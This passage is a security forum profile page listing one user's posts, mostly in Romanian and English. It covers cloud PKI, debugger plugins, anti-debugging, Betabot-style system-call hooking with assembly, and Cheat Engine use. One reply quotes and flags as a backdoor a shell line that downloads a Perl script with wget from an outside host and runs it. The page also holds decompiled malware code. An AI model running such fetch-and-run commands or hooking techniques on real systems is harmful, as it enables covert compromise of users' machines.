Jump to content

Nytro

Administrators
  • Posts

    18725
  • Joined

  • Last visited

  • Days Won

    706

Everything posted by Nytro

  1. [h=2]Public Key Infrastructure (PKI) in the Cloud[/h] As the adoption of various forms of cloud models (i.e. public, private, and hybrid) in various industry verticals are increasing, the cloud buzzword is on a new high. However, customers still have doubts about the security areas and raise a common question: “How can I trust the cloud?” The simplest answer to this question will be to “build trust around the cloud,” but how? Well, we have a wonderful concept of Public Key Infrastructure (PKI), which if planned and implemented properly, can be a good fit for the answer to build customers’ trust in a cloud. Before discussing in detail the implementation and challenges of PKI in cloud, let’s learn or refresh some basics. Each and every security process, layer or software must implement and cover the CIA triad. What is CIA? C-Confidentiality: It refers to the process to ensure that information sent between two parties is confidential between them only and not viewed by anyone else. I-Integrity: It refers to the process to ensure that the message which is in transit must maintain its integrity i.e., the content of the message must not be changed. A-Availability: The systems available for fulfilling requests must be available all the time. Along with these, some important parameters are described below: Authentication: the process of confirming someone’s identity with the supplied parameters like username and password. Authorization: the process of granting access to a resource to the confirmed identity based on their permissions. Non-Repudiation: a process to make sure that only the intended endpoint has sent the message and later cannot deny it. [h=2]Public Key Infrastructure (PKI)[/h] To provide security services like confidentiality, authentication, integrity, non-repudiation, etc., PKI is used. PKI is a framework which consists of security policies, communication protocols, procedures, etc. to enable secure and trusted communication between different entities within as well as outside the organization. PKI is built as a hybrid mode of the symmetric and asymmetric encryption. Let’s discuss this in brief: Symmetric Encryption: A single key is used to encrypt and decrypt the message sent between two parties. Symmetric encryption is fast, and this type of encryption is effective only when the key is kept absolutely secret and secure between two parties. But to transmit this secret key over an un-trusted network i.e., Internet, comes asymmetric encryption. Asymmetric Encryption: A pair of keys is used to encrypt and decrypt the message. The pair of keys is termed as public and private keys. Private keys are kept secret by the owner, and the public key is visible to everyone. Here is how it works: Suppose ‘A’ and ‘B’ want to communicate using asymmetric encryption. So ‘A’ encrypts the message with ‘B’ public key so that only ‘B’ can decrypt the message with its private key. After decrypting the message, ‘B’ will encrypt the message with ‘A’ public key so that only ‘A’ can decrypt it using its own private key. Sounds like a perfect solution, doesn’t it? Well as far as secrecy is concerned it is, but when it comes to real world scenarios, asymmetric encryption is pretty slow as the keys involved in this process are of 1024, 2048 bits ,etc. and after the initial handshake, for subsequent requests this overhead still needs to be incurred. So what to do? In comes the PKI approach, which is a hybrid approach of symmetric and asymmetric encryption. In this, the handshake process happens with asymmetric encryption to exchange the secret key used for symmetric encryption. Once the secret key is exchanged, the rest of the communication happens over asymmetric encryption. In this way, security and performance are both achieved. PKI is a hierarchal model which is comprised of the below components: Certificate Authority (CA): This entity issues certificates for requests received. This can be in-house or trusted third parties CA like ‘Verisign’, ‘COMODO’, ‘Thwate’ etc. Registration Authority (RA): This entity performs the background checking process on the requests received from end point entities like their business operations in order to avoid issuing any certificate to a bogus entity. Certificate Revocation List (CRL): This is the list issued that contains a list of the certificates which are no longer valid to be trusted. End-point Entities: These entities make requests for the certificates in order to prove their identity and gain trust over the Internet. Certificates Repository: This is the repository which contains a list of issued certificates which the end point entities can retrieve in order to verify the corresponding server. For end users, this repository is usually located in the browser, such as Firefox, IE, Chrome, etc. As it can be noted, the maintenance of these keys is of utmost importance and losing control over these keys will leave the encryption on data useless. Key management is an important process and the most challenging process, as any deviation in this could lead to data loss. The key management life cycle involves the following steps: Creation The first step in the key management life cycle is to create a key pair and apply access control around it. While creating the key, certain important factors need to be considered like key length, lifetime, encryption algorithm, etc. The new key thus created is usually a symmetric key and it is encrypted with a public key of the public-private key pair. Backup Before distributing keys, first of all the backup of keys should be made to some external media. As normally the key created is a symmetric key a.k.a shared key which should be encrypted with a public key from the key pair, then it becomes important to protect the other part of key pair i.e. the private key. Also the policies around the backup media and vaults should be up to the same effect as is designed for any critical business operation to recover from any type of disruption. Deployment After the key is created and backed up, then it is ready to be deployed in the encryption environment. It is advisable to not directly put these keys into action on the production environment. The key operations should be analyzed, and if successful the key should be used for encrypted production data. Monitoring Monitoring of the crypto systems is very important to check for unauthorized administrative access and key operations such as: creation, backing, restoring, archival and destruction. Rotation Keys should be rotated on a regular basis with the keys that are either meant to be expired or need to be changed following a business change. It is important to realize that keys should not be put into system. Expiration As per the best practices dictated in compliances like PCI-DSS, it is important that even valid keys need to be changed after a span of time, not only after the keys are expired. Before the expiration phase, key rotation phase should take place by replacing the associated data with new keys. Archival Before the destruction of keys, archival of expired and decommissioned keys is important if there is still related data in the environment that needs to be recovered like data for recovery operations. This phase is very important from the business decision perspective, and there are some appliances which never go for the destruction phase that causes a risk to be attached. Archived copy of the keys should be properly secured. Destruction After the business use of key is over or its validity expires, secret and private keys should be destroyed in an efficient manner. All the traces of keys should be completely removed from the whole environment, even from the removal media, and vaults where the keys are stored for backup processes. [h=2]PKI Risks on Migrated Data[/h] We cannot sit back and relax by implementing a PKI over the business applications and data which is migrated to the cloud, because when the data migrates to the cloud, various issues tend to arise, such as: Because in the way the cloud model is designed, control over the migrated data to the cloud is completely lost. The key management server, which is responsible for storing and managing keys – if hosted in the cloud then there is a risk from the CSP side. The risk is in how we can be sure that the CSP is making sure that our keys are secure, i.e. what access controls mechanism, SOD (segregation of duties) and policies the CSP (Cloud Service Provider) has put in place. If some third party vendor solution is leveraged for PKI deployment, then where all the keys are used; what model for key management the vendor is using; how the vendor is making sure that even if deployed in cloud, customer keys are secured from the vendor remote access (SaaS APIs) and from some Virtual Machine (VM) corruption event such as, what will happen if a snapshot of the VM is stolen – will the keys reside in the snapshot, and if yes, for how long? How to make sure that if the customer has leveraged a vendor’s PKI SaaS service, then even the vendor does not have access to the customer’s keys, and what measures the vendor has implemented to address the multi-tenant issue. After decommissioning of systems in the cloud, how to make sure that data is completely removed from systems. [h=2]Recommendations[/h] The below sections describe some of the best practices and design that organizations must follow in order to reap true benefits of PKI in cloud. The key management server must be hosted within the organization, and whenever the data which is hosted in the cloud needs keys to decrypt the data as a part of end-user request, the key management server provides them. The key used for decryption should never be stored in the cloud VMs and must be in-memory for a few-nano seconds only. With the above discussed model, all the data that is leaving and entering the organizations can be encrypted and decrypted respectively. All the VMs that are hosted in the cloud must be encrypted to protect data loss when a VM snapshot is stolen. When the data which is encrypted and put in a cloud is no longer needed, the organization must revoke the keys associated with it, so that even if some trail of data remains in the decommissioned VM, it cannot be decrypted. The Hardware Security Model (HSM) should be used to store keys for cryptographic operations such as encryption, decryption, etc. Use of old and insecure protocols like Data Encryption Standard (DES) must be avoided. [h=2]Conclusion[/h] An environment with a poorly managed Public Key Infrastructure (PKI) is as good as an environment with no PKI. However, when organizations plan to migrate data to a cloud and decided to implement PKI onto any cloud model, i.e. public or private, they should make sure that complete ownership of the keys falls on their plate. [h=2]References[/h] https://cloudsecurityalliance.org/guidance/csaguide.v3.0.pdf http://research.microsoft.com/pubs/132506/distributed%20key%20lifecycle%20management.pdf The Key Management Lifecycle (The Falcon's View) By Lohit Mehta|June 30th, 2014 Sursa: Public Key Infrastructure (PKI) in the Cloud - InfoSec Institute
  2. Extending Debuggers Sometimes we come across situations when we are in need of doing something inside our debuggers or to extend the functionality of them. For such things, debuggers usually provide an API interface to extend or provide extra functionality for the debugger. There are two types of API provided by the debuggers: 1: SDK API 2: Scripting API One can choose any based on the requirements. Usually when there is a rapid requirement, scripting will come in handy, but if something requires system or low level access, then SDK is useful. SDK API requires being compiled, while scripts can be modified easily. Ollydbg Plugin Interface Ollydbg supports API for plugins. Plugins are compiled DLL written in C programming language. The following constants define particular actions in a debugger context. #define ODBG_Plugindata _ODBG_Plugindata #define ODBG_Plugininit _ODBG_Plugininit #define ODBG_Pluginmainloop _ODBG_Pluginmainloop #define ODBG_Pluginsaveudd _ODBG_Pluginsaveudd #define ODBG_Pluginuddrecord _ODBG_Pluginuddrecord #define ODBG_Pluginmenu _ODBG_Pluginmenu #define ODBG_Pluginaction _ODBG_Pluginaction #define ODBG_Pluginshortcut _ODBG_Pluginshortcut #define ODBG_Pluginreset _ODBG_Pluginreset #define ODBG_Pluginclose _ODBG_Pluginclose #define ODBG_Plugindestroy _ODBG_Plugindestroy #define ODBG_Paused _ODBG_Paused #define ODBG_Pausedex _ODBG_Pausedex #define ODBG_Plugincmd _ODBG_Plugincmd Plugins for ollybdg are written as shared library in C. We need to define the dll enrty point and inilitize the plug in before it is used. Events are also defined using exports. Plugins are initialized using the ODBG_Plugininit() export function. /******************************************************* Sample Ollgdbg Plugin file * *******************************************************/ #include <stdio.h> #include <plugin.h> #pragma once #pramga Comment ("lib", "ollydbg.lib") // Inlude the library file BOOL WINAPI DllEntryPoint(HINSTANCE hi,DWORD reason,LPVOID reserved) { if (reason==DLL_PROCESS_ATTACH) hinst=hi; // Mark plugin instance return 1; // Report success }; extc int _export cdecl ODBG_Plugininit() { } extc void _export cdecl ODBG_Pluginmainloop(DEBUG_EVENT *debugevent) { }; extc void _export cdecl ODBG_Pluginaction(int origin,int action,void *item) { t_bookmark mark,*pb; t_dump *pd; if (origin==PM_MAIN) { switch (action) { case 0: break; case 1: MessageBox(NULL, "Hello World", "Hello World! Plugin ", MB_OK); default: break; }; } } Immunity Scripting Immunity debugger also supports scripting based on Python programming language. The scripts written for immunity debugger are known as pycommands. They can be executed in the command bar as !. Immunity scripting supports breakpoints, hooking, and loggers. The default skeleton for a pycommands script is: # !usr/bin/pythonimport immlib def main(args): dbg = immlib.Debugger() return "" dbg = immlib.Debugger() – define a instance to a debugger class The following are some of the basic functions inside the Debugger class: The script’s main body is located in the main function with arguments as args. To execute the script, we need to place the file in the “C:Program FilesImmunity IncImmunity DebuggerPyCommands” directory and execute from the immunity command bar as !filename Let’s now create a dummy hello world script that writes to the log window: import immlibdef main(args): dbg = immlib.Debugger() dbg.writeLog(“Hello world!”) return "" We can save this file in the “C:Program FilesImmunity IncImmunity DebuggerPyCommands” as helloworld.py and it can be executed using the following command: !helloworld There are more functions inside Debugger() class, let’s try to explore and use them. Getting the PEB address getPEBAddress() is a method inside the Debugger class that can be used to get the PEB address of the loaded application inside the debugger. We can use the PEB address to patch many things. PEB is mainly used for thread related structures and processing information. We can get the details in Loaded modules, for example what this malware code does with PEB: typedef struct _PEB { BYTE Reserved1[2]; BYTE BeingDebugged; BYTE Reserved2[1]; PVOID Reserved3[2]; PPEB_LDR_DATA Ldr; PRTL_USER_PROCESS_PARAMETERS ProcessParameters; BYTE Reserved4[104]; PVOID Reserved5[52]; PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine; BYTE Reserved6[128]; PVOID Reserved7[1]; ULONG SessionId; } PEB, *PPEB; v9 = *(_DWORD *)"LoadLibraryExA"; v10 = *(_DWORD *)&aLoadlibraryexa[4]; v11 = *(_DWORD *)&aLoadlibraryexa[8]; v12 = *(_WORD *)&aLoadlibraryexa[12]; v13 = aLoadlibraryexa[14]; v15 = sub_4001E92(); v20 = 0; v16 = (int (__thiscall *)(int, int, int *))sub_4001EA7(v15, "GetProcAddress"); v20 = v16(v5, v15, &v9); v3 = a1; result = *(_DWORD *)(a1 + 60); for ( i = a1 + *(_DWORD *)(result + a1 + 128); *(_DWORD *)(i + 4) || *(_DWORD *)(i + 12); i += 20 ) { v7 = v3 + *(_DWORD *)i; for ( j = v3 + *(_DWORD *)(i + 16); ; j += 4 ) { result = *(_DWORD *)v7; if ( !*(_DWORD *)v7 ) break; v15 = -1; if ( result < 0 ) { v2 = (unsigned __int16)result; v15 = (unsigned __int16)result; } v14 = v3 + result; v8 = *(_DWORD *)(i + 12); v17 = v3 + v8; v19 = ((int (__fastcall *)(int, int, int, _DWORD, _DWORD))v20)(v3, v2, v3 + v8, 0, 0); if ( v15 == -1 ) { v17 = v14 + 2; v18 = ((int (__stdcall *)(int, int))v16)(v19, v14 + 2); } else { v17 = v15; v18 = ((int (__stdcall *)(int, int))v16)(v19, v15); } if ( *(_DWORD *)j != v18 ) *(_DWORD *)j = v18; v3 = a1; v7 += 4; } } return result; } This code snippet loads LEP loaded modules and parses the IAT. Now let’s try to try to write a call counter in pycommands. import immlibfrom immlib import LogBpHook times = " class instructionHook(LogBpHook): def __init__(self): LogBpHook.__init__(self) return def run(self, regs): global times imm = immlib.Debugger() imm.log("instruction Executed %d" % times) times = times + 1 return def main(args): memlocation = 0x401029 dbg = immlib.Debugger() logbp = instructionHook() funcName = dbg.getFunction(imemlocation).getName() logbp.add(funcName,i) return "Hooks Placed" By SecRat|June 25th, 2014 Sursa: Extending Debuggers - InfoSec Institute
  3. [h=3]ShareCount As Anti-Debugging Trick[/h]In this post i will share with you an Anti-Debugging trick that is very similar to the "PAGE_EXECUTE_WRITECOPY" trick mentioned here, where we had to flag code section as writeable such that any memory write to its page(s) would force OS to change the page protection from PAGE_EXECUTE_WRITECOPY to PAGE_EXECUTE_READWRITE. But in this case we don't have to make any modifications to the code section's page protection. We will just query the process for its current working set info. Among the stuff we receive querying the working set of a process are two fields, "Shared" and "ShareCount". By default the OS assumes the memory pages of code section (Non-writable sections) should share physical memory across all process instances. This is true till one process instance commits a memory-write to the shared page. At this point the page becomes no longer shared. Thus, querying the working set of the process and inspecting the "Shared" and/or "ShareCount" fields for our Code section pages would reveal the presence of debugger, only if the debugger uses INT3 for breakpoints. To implement the trick, all you have to do is call the "QueryWorkingSet" or "QueryWorkingSetEx" functions. N.B. You can also use the "ZwQueryVirtualMemory" function with the "MemoryInformationClass" parameter set to MemoryWorkingSetList for more portable code. Code from here and demo from here. Tested on Windows 7. For any suggestions, leave me a comment or drop me a mail waliedassar@gmail.com. Sursa: waliedassar: ShareCount As Anti-Debugging Trick
  4. [h=3]Usermode System Call hooking - Betabot Style[/h] This is literally the most requested article ever, I've had loads of people messaging me about this (after the Betabot malware made it famous). I had initially decided not to do an article about it, because it was fairly undocumented and writing an article may have led to more people using it; However, yesterday someone linked me to a few blogs posting their implementations of the hook code (without explanation), so I've finally decided to go over it seeming as the code is already available. [h=2]Win32/64 System Calls[/h] System call is a term used to describe functions that do not execute code in usermode, instead they transfer execution to the kernel where the actual work is done. A good example of these is the native API (Ex: NtCreateFile\ZwCreateFile). None of the functions beginning with Nt or Zw actually do their work in usermode, they simply call into the kernel and allow the kernel mode function with the same name to do their work (ntdll!NtCreateFile calls ntoskrnl!NtCreateFile). Before entering the kernel, all native functions execute some common code, this is known as KiFastSystemCall on 32-bit windows and WOW32Reserved under WOW64 (32-bit process on 64-bit windows). [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Native function call path in user mode under windows 32-bit[/TD] [/TR] [/TABLE] [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Native function call path in user mode under WOW64[/TD] [/TR] [/TABLE] As is evident in both examples: Nt* functions make a call via a 32-bit pointer to KiFastSystemCall (x86) or X86SwitchTo64BitMode (WOW64). Theoretically we could just replace the pointer at SharedUserData!SystemCallStub and WOW32Reserved with a pointer to our code; However, in practice this doesn't work. SharedUserData is a shared page mapped into every process by the kernel, thus it's only writable from kernel mode. On the other hand WOW32Reserved is writable from user mode, but it exists inside the thread environment block (TEB), so in order to hook it we'd have to modify the TEB for every running thread. [h=2]KiFastSystemCall Hook[/h] Because SharedUserData is non-writable, the only other place we can target is KiFastSystemCall which is 5 byte (enough space for a 32-bit jump). Sadly that actually turned out not to be the case because the last byte, 0xC3 (retn), is needed by KiFastSystemCallRet and cannot be modified, which leaves only 4 writable bytes. The sysenter instruction is supported by all modern CPUs and is the fastest way to enter the kernel. On ancient CPUs (before sysenter was invented) an interrupt was used (int 0x2E), for compatibility it was kept in all subsequent versions of windows. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]The now obsolete KiIntSystemCall[/TD] [/TR] [/TABLE] Here you can see, KiIntSystemCall has a glorious 7 writable bytes (enough space for a 32-bit jump and some) it's also within short jump range of KiFastSystemCall. As you've probably guessed by now, we can do a 2 byte short jump from KiFastSystemCall to KiIntSystemCall and then a 32-bit jump from within KiIntSystemCall to our hook procedure. Now, what if something calls KiIntSystemCall? Well, it's unlikely but we can handle that too: The rule for the direction flag on windows is that it should always be cleared after a call (that is, a function should never assume it to still be set after making a call). We could use the first byte of KiIntSystemCall for STD (set direction flag), then use the first byte of KiFastSystemCall for CLD (clear direction flag) followed by a jump to KiIntSystemCall+1, that way our hook procedure can use the direction flag to see which calls came from which function. [h=2]WOW32Reserved Hook[/h] This is a lot simpler, either we can keep track of every thread and hook WOW32Reserved in each thread's environment block (i think this is what betabot does), or we simply overwrite X86SwitchTo64BitMode which is 7 bytes, writable from user mode, and pointed to by the WOW32Reserve field of every thread's environment block. [h=2]Dispatching[/h] Most people who write hooks are used to redirecting one function to another; however, because both of these hooks are placed on common code: every single native function will call the hook procedure. Obviously we're going to need a way to tell NtCreateFile calls from NtCreateProcess and so on, or the process is just going to crash and burn. If we dissemble the first 5 bytes of any native function it will always be "mov eax, XX", this value is the ordinal of the function within the System Service Dispatch Table (SSDT). Once the call enters the kernel, a function will use this number to identify which entry in the SSDT to call, then call it (meaning each function has a unique number). When our hook in called, the SSDT ordinal will still be in the eax register, all we need to do is gather the SSDT ordinals for all the functions we need (by disassembling the first 5 bytes), then we can compare the number in eax with the ordinal for the function we wish to intercept calls for: if it's equal we process the call, if not we just call the original code. Comparing the function ordinal with the one we want to hook could be messy, especially if we're hooking multiple functions. cmp eax, [ntcreatefile_ordinal] je ntcreatefile_hook cmp eax, [ntcreateprocess_ordinal] je ntcreateprocess_hook [...] jmp original_code This code is going to get very long and inefficient the more functions are hooked (because every kernel call is passing through this code, the system could slow down), but there's a better way. We can build an array of DWORDs in memory (assuming we just want to hook NtCreateFile & NtCreateProcess, let's say the NtCreateFile ordinal is 0x02 and NtCreateProcess ordinal is 0x04), the array would look like this: my_array+0x00 = (DWORD)NULL my_array+0x04 = (DWORD)NULL my_array+0x08 = (DWORD)ntcreatefile_hook_address my_array+0x0C = (DWORD)NULL my_array+0x10 = (DWORD)ntcreateprocess_hook_address [...] Then we could do something as simple as: lea ecx, [my_array] lea edx, [4*eax+ecx] ;edx will be &my_array[eax] cmp [edx], 0 je original_code call [edx] ;call the address pointed to by edx This is pretty much what the kernel code for calling the SSDT function by its ordinal would do. [h=2]Calling Original Code[/h] As with regular hooking, we just need to store the original code before we hook it. The only difference here is as well as pushing the parameters and calling the original code, the function's ordinal will need to be moved into the eax register. [h=2]Conclusion[/h] Feel free to ask any questions in the comments or on our forum, hopefully this post has covered everything already. Posted by TM Sursa: MalwareTech: Usermode System Call hooking - Betabot Style
  5. Salut, Ma intereseaza daca dintre voi sunt persoane la un master de securitate IT din Bucuresti. Am auzit ca ar cateva variante: 1. Politehnica: SRIC ( Securitatea Retelelor Informatice Complexe ): http://acs.pub.ro/doc/planuri%20master/ro/2011/SRIC.pdf sau MPI ( Managementul si Protectia Informatiei ): http://acs.pub.ro/doc/planuri%20master/ro/2011/MPI.pdf 2. Academia Tehnica Militara: Securitatea Tehnologiei Informatiei: MTA - Master InfoSec 3. Academia de Studii Economice: ISM (IT&C Security Master): ISM - IT&C Security Master - Informatics Security Master 4. Serviciul Roman de Informatii: Intelligence si securitate nationala (cred) Masterul de la SRI mi-a fost recomandat de doua persoane (una de la masterul MPI de la Poli si alta care nu s-a inscris la master), ca cica ar fi cel mai concret si mai bun. In primul rand, nu am gasit ce materii se fac acolo. Apoi, am gasit niste conditii jegoase: "Pe întreaga desf??urare a programului, cursan?ii vor avea statut de angaja?i ai Serviciului Român de Informa?ii, cu toate drepturile ?i obliga?iile ce decurg din acesta" , "sunt dispu?i ca, dup? finalizarea programului universitar de master la care au fost declara?i „Admis”, s? desf??oare activit??i în orice zon? a teritoriului na?ional, potrivit intereselor ?i nevoilor institu?iei", "accept?, în situa?ia în care vor fi declara?i „Admis”, interzicerea ori restrângerea exercit?rii unor drepturi ?i libert??i cet??ene?ti prev?zute de legisla?ia în vigoare", "accept? efectuarea de verific?ri asupra activit??ii ?i comportamentuluilor" etc. Sa fim seriosi. Apoi, eu ma gandesc sa dau la Poli, iar ASE-ul sa fie varianta de rezerva, in caz ca nu intru la celelalte. Mai exact, am auzit cele mai bune lucruri despre SRIC dar si MPI pare acceptabil: mai putin tehnic, dar poate util, mai business asa, nu stiu. Legat de ATM, nu prea sunt sigur, imi e frica sa nu ma trezesc cu niste conditii nesimtite, ca trebuie sa lucrez pentru ei sau mai stiu eu ce. Oricum, am vazut ca trebuie sa faci ceva "practica", care e posibil sa fie cam echivalentul a "lucrezi gratis pentru ei" pentru cateva luni si asta nu ma tenteaza. Iar ASE-ul e versiunea mai light, dupa cum stim cu totii acolo e plin de femei si as merge de placere la cursuri, problema e ca nu as invata mare lucru. Dar na, pot sa invat si in timpul liber ce ma intereseaza. Ar fi cel mai simplu de obtinut diploma, dar nu ar fi la fel de recunoscuta ca cea de la Poli. Asadar alegerea mea ar fi SRIC. Voi ce parere aveti? Daca sunt persoane care cunosc mai multe detalii, m-ar interesat: 1. Cand sunt cursurile? Weekend, seara, sau si in timpul zilei? 2. Cat de mult conteaza prezenta? Pentru ca nu o sa pot ajunge prea des pe acolo. 3. Cat de mare e stresul cu proiectele? Trebuie sa faci proiecte la care sa lucrezi secole, sau ceva mai lejer? 4. Cat de ok sunt materiile care se fac? Cum sunt predate? Bataie de joc? 5. Care dintre ele sunt la buget si care la taxa? Nu e foarte important, dar ar fi mai ok la buget, desi nu ma astept sa prind. 6. Cum e "mediul" acolo, cum sunt studentii, cum sunt cursurile etc? Nu stiu, mi-ar fi de ajutor orice informatie. Bine, cam greu sa imi schimb opinia cu SRIC, dar deocamdata e prima varianta. A doua e ASE, ca sa fie. Voi ce ziceti? Va rog sa nu comentati daca nu aveti nicio legatura cu subiectul. Thanks. Edit: Daca dau la ASE si daca intru, nu cred ca mai pot da la Poli. Deci cel mai probabil voi da doar la Poli, SRIC si MPI. Si astia de la ASE, daca esti admin, te pun sa platesti rapid taxa pe primu semestru.
  6. Salut, Ca exemplu concret, exista persoane si in staff ( nu o sa dau nume, poate ) care au ajuns aici cautand asa ceva: CQ Killer. Si ca sa vezi, au ajuns sa lucreze la firme ale caror produse le folositi voi zilnic si au invatat lucruri pe care nici nu visati sa le stiti voi vreodata. Copiii care cauta "hack-uri" sunt foarte atrasi de domeniul acesta: securitate IT, si o mare parte dintre ei, venind aici pentru tot felul de prostii ajung sa vada ca domeniul e mult mai diversificat si incep sa il exploreze. Nici mie nu mi se pare utila acea sectiune pentru ca nu ma joc. Bine, ma joc, dar ma joc doar asta: http://www.flasharcade.com/tower-defence-games/play/azgard-tower-defense.html . Daca exista incepatori pe aici le recomand sa intre pe acest link, sa descarce CheatEngine si sa incerce sa triseze la acest joc, sa schimbe suma de bani disponibila. CheatEngine cauta in memoria procesului (FlashPlayer_*) o anumita valoare, de exemplu, daca ai 123 de dolari, cauti acea valoare. E posibil sa fie mai multe date in memorie cu valoarea 123. Dar, mai cheltuiesti din bani si ramai cu 111 dolari, de exemplu. Cauti din nou, valoarea 111, Next scan, dintre variabilele pe care le gasisei deja si vei gasi adresa de memorie unde e salvat numarul de dolari pe care o vei putea schimba in 9999999. Incercati asta. Nota: e singura metoda prin care am reusit sa termin joculetul ala nenorocit. Are 100 de stagii.
  7. E prea abstract. Nu e nimic concret.
  8. How to destroy Programmer Productivity The following image about programmer productivity making its rounds on the internet: As Homer Simpson might say, it’s funny because it’s true. I haven’t figured out the secret to being productive yet, largely because I have never been consistently productive. Ever. Joel Spolsky talks about this in one of his blog posts: Sometimes I just can’t get anything done. Sure, I come into the office, putter around, check my email every ten seconds, read the web, even do a few brainless tasks like paying the American Express bill. But getting back into the flow of writing code just doesn’t happen. These bouts of unproductiveness usually last for a day or two. But there have been times in my career as a developer when I went for weeks at a time without being able to get anything done. As they say, I’m not in flow. I’m not in the zone. I’m not anywhere. I’ve read that blog post about half a dozen times now, and It still shocks me that someone who we see as an icon in the programmer community has a problem getting started. I’m glad I’m not alone. I’m not here to share any secret methods to being productive, but I can tell you what has kept me from being productive: Open Floor plans Developers arguing about Django vs. .NET Developers arguing in general A coworker coming up to me and asking, “Hey, did you get that email I sent?” Chewing. Apparently I suffer from Misophonia Not understanding the problem I’m working on Not really believing in the project Not understanding where to start Facing more than one task that needs to be complete BECAUSE THINGS ARE ON ARE RIGHT NOW Things BEING ON FIRE RIGHT NOW DROP EVERYTHING Twitter Notifications on my Phone Email pop ups Really, any pop-ups IMs My wife asking, “Hey, when you have a minute could you do X?” Long build times Noise Constant parade of people going past my desk MandoFun Wikipedia (Seriously, don’t click on any links) Hacker News The Internet in General Things that have contributed to making me productive in the past: Quiet atmosphere Quiet workspace (A private office works wonders) Understanding the next step I need to take in a project Knowing the problem space well No interruptions Seriously: No interruptions Staying off Twitter Staying off Hacker News No hardware problems Loving the project I’m working on Short build + debug time Not debating politics on the internet It’s telling that half of the things that keep me from being productive are problems I’ve created; but some of them aren’t. Like Open Office floor plans. Ultimately, each of us controls what makes us unproductive. I suck at peaceful confrontation. I either come of too strongly, or I sit there and let the other person walk all over me. I’m really not good at it at all. I don’t have any good advice for handling the external forces that contribute to not being productive, but I do know this: Whatever I can control, I should control. That means: Turning off notifications on my iPhone (this has the added benefit of increased battery life) Giving myself a reward for 3 hours of continuous coding (usually in the form of “internet time” like checking Hacker News or twitter) Working from home when I really, really, need to get something done Investing in a good-for-the-price pair of noise canceling headphones Scheduling ‘no meeting’ times on my calendar. These are times shown as busy to everyone else. It’s my work time. Not getting into programmer arguments around the office; people have strong opinions, and the programmers who have arguments love to argue. If there’s an actual business problem that needs to be solved, let’s grab a conference room and come up with the advantages and disadvantages of each approach. Let’s get some data. Let’s not just argue. Position my desk in such a way that passersby aren’t distracting. taking a first pass at the problem, and *then* asking another developer to walk me through the problem so that I can get a better understanding of what to do. This accomplishes two things: First, it allows me to get the ‘lay of the land’ so that I’ll at least have a basic understanding of the forces at work, and Second it allows me to ask more intelligent questions when I ask for help What makes you unproductive, and what do you do to combat it? Sursa: How to destroy Programmer Productivity | George Stocker
  9. Parlamentul Romaniei adopta prezenta lege. Download: http://www.cdep.ro/proiecte/2014/200/60/3/pl263.pdf
  10. E gratuita placa de dezvoltare? Si senzori? Si SDK?
  11. Pentru cei interesati de cazare, dati un search aici: Booking.com: 504,478 hotels worldwide. 32+ million hotel reviews. . E ok daca va strangeti mai multi, sa veniti in grup. Puteti cauta camere cu doua paturi. PS: Cautati pensiuni. Pentru 5 nopti de cazare, la pensiune, dati sub 500 RON. La hostel e mult mai putin dar si conditiile sunt altfel.
  12. Hex Workshop, HxD, Hex Editor Neo si inca alte 2 milioane de hex editoare. Dar nu asta conteaza, conteaza daca stii ce sa faci cu el. Si nu cred ca o sa stii. Apoi, ce vrei tu sa faci cu Pony?
  13. Descriere: http://www.offensive-security.com/vulndev/disarming-enhanced-mitigation-experience-toolkit-emet Autor: sickness (roman, fost membru RST)
  14. Da, este backdoor. @halucin0g3n aka Castiel, asteptam niste explicatii.
  15. Firefox can't find the server at zobnet.go.ro. Da: cd /var/tmp;mkdir test; echo 'wget zobnet.go.ro/perl.pl perl perl.pl rm perl* rm a' > a; bash a & Pare backdoor. Asteptam un mesaj de la nenea de mai sus cu niste explicatii. Link removed.
  16. De venit sigur vin. De prezentat, am niste idei, dar trebuie sa vorbesc cu Andrei. Vor veni multi de pe RST. Anul trecut am fost o gramada, mare parte din staff, multi VIPi... O sa ne cunoastem.
  17. Da. Am inceput aseara sa lucrez la un proiect. Avem nevoie de hosting pentru fisiere. Si care sa nu prea tina cont de drepturile de autor. Dar mai dureaza ceva pana e gata.
  18. "Si în acest an, studen?ii beneficiaz? de 50% reducere din pre?ul biletului." Mai exact 20-25 de euro. Adica 100 RON (6 pachete de tigari, 1.5-2 grame de iarba, 2 seri de bere, 5 shaorme sau ce altceva vreti voi). Cine se plange de pret primeste ban.
  19. Versiunea free nu face nimic, e de cacat. Da, am eu versiunea Pro. E ok, adica poti sa descarci o gramada de tool-uri care si merg: nmap, Nessus si multe altele. Am dat 13 RON pe ea, mai putin decat un pachet de tigari, deci nu e asa scumpa, dar nici mare lucru nu face, doar descarca niste aplicatii.
  20. [h=1]AppSecEU 2014[/h] OWASP8:52:36 OWASP6:26:05 OWASP6:46:38 OWASP9:34:39 OWASP6:22:34 OWASP6:26:17Sursa: Via: Owasp Romania
  21. Sau te angajezi la un supermarket, dai cu matura si cu mopul, 4 ore pe zi, si ca sa vezi, castigi mai mult. Topic inchis, terminati cu cacaturile astea.
  22. Comisii: Utilizarea cartelelor prepay, din 2016 doar în baza datelor personale de identificare - VIDEO de Liviu Dadacus - Mediafax Utilizarea cartelelor telefonice prepl?tite (prepay) va fi posibil?, începând cu 1 ianuarie 2016, doar dac? de?in?torul va comunica operatorului de telefonie datele personale de identificare, potrivit unei ini?iative legislative votate de Comisiile Juridic? ?i de IT din Camera Deputa?ilor. Potrivit textului de lege adoptat de deputa?ii din cele dou? Comisii, ini?iativa legislativ? urmeaz? s? intre în vigoare de la 1 ianuarie 2015, de?in?torii de cartele prepay având la dispozi?ie un an, pân? la 1 ianuarie 2016, pentru a comunica operatorului de telefonie datele personale, în caz contrar num?rul fiind anulat. Ini?iativa legislativ? reglementeaz? ?i modalitatea în care se va face conectarea la internet prin intermediul unei re?ele wi-fi, acesul urmând a fi permis în baza comunic?rii num?rului de telefon mobil pe care operatorul va trimite un SMS cu un cod de acces. Pre?edintele Comisiei IT din Camer?, deputatul Daniel Oajdea, a declarat c? ini?iativa legislativ? a fost adopat? de comisii într-o form? ”corect? ?i benefic?” pentru toat? lumea ”Proiectul de lege prevede re?inerea datelor de identificare ale persoanei, nu ?i re?inerea datelor de trafic, atât pentru prepay, cât ?i pentru wi-fi”, a spus Oajdea. El a explicat modul în care legea va 